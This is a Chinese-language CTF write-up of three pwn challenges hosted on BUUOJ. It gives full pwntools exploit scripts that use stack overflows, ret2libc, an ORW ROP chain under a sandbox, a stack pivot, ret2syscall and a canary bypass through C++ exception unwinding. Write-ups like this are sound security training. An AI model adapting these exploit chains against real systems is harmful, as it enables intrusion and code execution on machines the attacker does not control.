前言
题目都比较简单,,,没啥好说的,很久没做题了,简单记录一下
dynamic_but_static
- 仅仅开了 NX 保护
- 栈溢出
先泄漏 libc 地址,然后栈溢出打 ret2libc,开了沙箱得 orw
from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node5.buuoj.cn", 29271)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")def debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''ret = 0x000000000040101a # ret
pop_rdi = 0x0000000000401381 # pop rdi ; ret
puts_got = 0x404028
puts_plt = 0x4010D0
read_got = 0x404040#gdb.attach(io, 'b *0x401482')
pay = b'A'*0x38 + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(0x401386)
sl(pay)#pause()
libc_base = addr8(6) - libc.sym.read #0x1149c0
info("libc_base", libc_base)o = libc_base + 0x1146d0
r = libc_base + 0x1149c0
w = libc_base + 0x114a60
bss = elf.bss()+0x100
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000796a2 # pop rdx ; ret
magic = libc_base + 0x0000000000149515 # add rdx, 2 ; xor eax, eax ; mov qword ptr [rdi], rdx ; ret
leave_ret = 0x0000000000401349 # leave ; retinfo("bss", bss)
info("o", o)
info("r", r)
info("w", w)
info("rsi", pop_rsi)
info("rdx", pop_rdx)pay = p64(bss-8)*7 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss-8) + p64(pop_rdx) + p64(0x200) + p64(r) + p64(leave_ret)
sl(pay)
#pause()
sleep(1)
pay = b'./flag\x00\x00' + p64(pop_rdi) + p64(bss-8) + p64(pop_rsi) + p64(0) + p64(o)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss-0x100) + p64(pop_rdx) + p64(0x30) + p64(r)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss-0x100) + p64(pop_rdx) + p64(0x30) + p64(w)
sl(pay)
#pause()
#debug()
sh()
Control
- 开了 NX 和 Canary
- 栈溢出
- 静态链接,所以考虑 ret2syscall
- 异常处理绕过 Canary 检查
开始可以往 bss 段上写入 16 字节:
然后 vuln 函数中白给的栈溢出:
当读入的字节数大于 96 时会进入异常抛出逻辑,这里可以在 main 函数中发现异常捕获逻辑:
由于 vuln 函数中存在 Canary 保护,所以直接进行栈溢出 ret2syscall 是不可行的,这里我们可以覆盖 ebp 为 gift-8,这里在进行异常捕获时,会进行栈回退,此时就可以将栈劫持到 gift 上,这时我们可以将 rip 去往 gift 上读取 ROP 链,调试发现进行读取时,rdx = 0,而仅仅就 16 字节,所以 pop rdx 用不了,找了一个 magic gadget,调试发现 qword ptr [rsi - 8] 的值为 0x91,其足够写入 ROP 链了
from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node5.buuoj.cn", 26739)
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''pop_rax = 0x0000000000462c27 # pop rax ; ret
pop_rdi = 0x0000000000401c72 # pop rdi ; ret
pop_rsi = 0x0000000000405285 # pop rsi ; ret
pop_rdx = 0x0000000000401aff # pop rdx ; ret
syscall = 0x000000000040161e # syscall
ret = 0x000000000040101a # ret
magic = 0x0000000000446200 # mov rdx, qword ptr [rsi - 8] ; mov qword ptr [rdi - 8], rdx ; ret
gift = 0x00000000004D3350#gdb.attach(io, 'b *0x402194')
sda(b'Gift> ', p64(magic) + p64(0x402221))
sda(b'control?\n', p64(gift-8)*15)
pay = p64(gift+8) + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(gift+0x50) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall) + b'/bin/sh\x00'
sla(b'again', pay)#pause()
#debug()
sh()
Exception
- 保护全开
- 一个堆上的格式化字符串漏洞
- 给了栈地址,并且存在栈溢出
- 异常处理
这题相较于上一题还简单一些,栈地址、libc地址、程序基地址和 canary 都算白给了
这里 name 上可以输入 0x20 的数据,但是由于保护全开,所以一开始也写不了什么有用的 gadget,只能用来泄漏数据了,这里可以泄漏 libc/栈地址/canary/程序基地址,然后 vuln 中就是一个白给的栈溢出,然后直接抛出异常
但是这里溢出的字节数足够长,所以这里的抛出异常没有任何影响,直接栈溢出打 ret2libc 即可,但是需要注意的是栈上的数据不要破坏,不如栈退回大概率失败,而且这里劫持的是 main 函数的返回地址,不能劫持 vuln 的返回地址是因为如果修改其返回地址,则导致找不到 catch 块从而导致栈回退失败
from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node5.buuoj.cn", 27800)
elf = ELF("./pwn")
libc = ELF("/pwn/libc.so.6")def debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''#gdb.attach(io, 'b *$rebase(0x1333)')sla(b'your name\n', b'X%11$pYM%15$pNL%7$pL')
rut(b'X')
lbase = int(rut(b'Y'), 16) - 0x24083
#info("lbase", lbase)rut(b'M')
base = int(rut(b'N'), 16) - 0x1360
#info("base", base)rut(b'L')
canary = int(rut(b'L'), 16)
#info("canary", canary)rut(b'stack\n')
stack = int(rut(b'\n'), 16)
#info("stack", stack)pop_rdi = lbase + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = lbase + 0x000000000002601f # pop rsi ; ret
pop_rdx = lbase + 0x0000000000119431 # pop rdx ; pop r12 ; ret
system = lbase + libc.sym.system
binsh = lbase + next(libc.search(b'/bin/sh\x00'))
ret = lbase + 0x0000000000022679 # retpay = p64(lbase+0x1ed6a0) + p64(base+0x206d) + p64(base+0x4020) + p64(lbase+0x1e94a0)
pay += p64(0) + p64(lbase+0x90e93) + p64(0x18) + p64(lbase+0x1ed6a0) + p64(base+0x206d)
pay += p64(lbase+0x8459a) + p64(base+0x1480) + p64(stack+0xa0) + p64(base+0x1180)
pay += p64(canary) + p64(stack+0xa0)
pay += p64(base+0x1408) + p64(0) + p64(canary) + p64(stack+0x190) + p64(0)*2
pay += p64(pop_rdi) + p64(binsh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0)*2 + p64(system)
print(hex(len(pay)))
sda(b'exception?', pay)#pause()
#debug()
sh()
sh()